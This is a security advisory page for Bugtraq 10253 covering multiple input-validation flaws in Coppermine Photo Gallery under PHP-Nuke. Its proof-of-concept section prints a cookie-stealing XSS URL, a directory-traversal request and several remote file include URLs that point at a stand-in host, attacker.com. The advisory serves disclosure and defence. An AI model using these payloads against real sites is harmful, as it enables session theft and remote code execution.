Coppermine Photo Gallery Multiple Input Validation Vulnerabilities

BID:10253

Info

Coppermine Photo Gallery Multiple Input Validation Vulnerabilities

Bugtraq ID: 10253
Class: Input Validation Error
CVE: CVE-2004-1986
CVE-2004-1987
CVE-2004-1988
CVE-2004-1989
Remote: Yes
Local: No
Published: Apr 30 2004 12:00AM
Updated: Jul 06 2016 02:40PM
Credit: Disclosure of these issues is credited to Janek Vind <[email protected]>.
Vulnerable: Francisco Burzi PHP-Nuke 7.2
Francisco Burzi PHP-Nuke 7.1
Francisco Burzi PHP-Nuke 7.0 FINAL
Francisco Burzi PHP-Nuke 7.0
Francisco Burzi PHP-Nuke 6.9
Coppermine Photo Gallery 1.2.2 b
Coppermine Photo Gallery 1.2.1
Coppermine Photo Gallery 1.2
Coppermine Photo Gallery 1.1 beta 2
Coppermine Photo Gallery 1.1 .0
Coppermine Photo Gallery 1.0 RC3
Not Vulnerable:

Discussion

Coppermine Photo Gallery Multiple Input Validation Vulnerabilities

Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.

Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

Exploit / POC

Coppermine Photo Gallery Multiple Input Validation Vulnerabilities

No exploits are required to leverage these issues. The following proof-of-concept exploits have been provided:

Cross-site scripting proof of concept:
http://www.example.com/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"&gt;&lt;body%20onload=alert(document.cookie);&gt;

Arbitrary directory browsing:
http://www.example.com/nuke72/modules.php?name=coppermine&amp;file=searchnew&amp;startdir=../..

Remote file include:
http://www.example.com/nuke69j1/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/default/theme.php?THEME_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://attacker.com
http://www.example.com/nuke72/modules/coppermine/themes/maze/theme.php?THEME_DIR=http://attacker.com

Solution / Fix

Coppermine Photo Gallery Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Coppermine Photo Gallery Multiple Input Validation Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report